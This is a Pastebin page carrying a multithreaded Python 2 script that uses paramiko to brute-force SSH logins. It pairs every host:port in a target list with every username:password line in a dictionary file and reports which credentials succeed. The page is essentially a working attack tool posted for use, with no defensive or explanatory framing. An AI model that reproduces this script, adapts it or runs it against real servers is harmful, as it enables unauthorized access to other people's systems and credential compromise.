Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- from paramiko import SSHClient
- from paramiko.ssh_exception import AuthenticationException,SSHException
- from paramiko.client import AutoAddPolicy
- import sys
- import threading
- import Queue
- SSH_LIST_FILE = None
- DICT_FILE=None
- NUM_THREADS = 2
- arg_map = dict()
- class WorkerThread(threading.Thread) :
- def __init__(self, queue) :
- threading.Thread.__init__(self)
- self.queue = queue
- #create and setup SSH client
- self.client = SSHClient()
- self.client.set_missing_host_key_policy(AutoAddPolicy())
- def run(self):
- while True:
- data = self.queue.get()
- self.ssh_connect(data[0], data[1])
- sys.stdout.flush()
- self.queue.task_done()
- def ssh_connect(self, ssh_host, credentials):
- try:
- self.client.connect(
- hostname=ssh_host[0],
- port=int(ssh_host[1]),
- username=credentials[0],
- password=credentials[1],
- timeout=15)
- except AuthenticationException, e:
- print("{} invalid credentials: {}".format(ssh_host, credentials))
- return
- except SSHException, msg:
- print(msg)
- return
- except Exception, e:
- print("{} failed to process credentials: {}".format(ssh_host, credentials))
- return
- print("{} success: {} OK!".format(ssh_host, credentials))
- def parse_args():
- global SSH_LIST_FILE, DICT_FILE, NUM_THREADS
- SSH_LIST_FILE = sys.argv[1]
- for i in range(2, len(sys.argv)-1):
- arg_map[sys.argv[i]] = sys.argv[i+1]
- DICT_FILE = arg_map.get('-d', DICT_FILE)
- NUM_THREADS = int(arg_map.get('-t', NUM_THREADS))
- def help():
- print("{} ssh_list_file -d dict_file [-t num_threads]".format(sys.argv[0]))
- def main():
- if len(sys.argv) < 2:
- help()
- sys.exit(1)
- parse_args()
- if not SSH_LIST_FILE or not DICT_FILE:
- help()
- sys.exit(2)
- print("SSH_LIST_FILE = {}".format(SSH_LIST_FILE))
- print("DICT_FILE = {}".format(DICT_FILE))
- print("NUM_THREADS = {}".format(NUM_THREADS))
- queue = Queue.Queue()
- for i in range(NUM_THREADS):
- print("Creating worker thread: %d" % i)
- worker = WorkerThread(queue)
- worker.setDaemon(True)
- worker.start()
- print("worker thread %d created!" % i)
- sys.stdout.flush()
- #process dictionary password file
- with open(DICT_FILE, "r") as dict_f:
- for cred_line in dict_f:
- credentials = cred_line.strip().split(':')
- with open(SSH_LIST_FILE, "r") as ssh_f:
- for host in ssh_f:
- host_port = host.strip().split(':')
- queue.put((host_port, credentials))
- queue.join()
- print("All tasks done!")
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement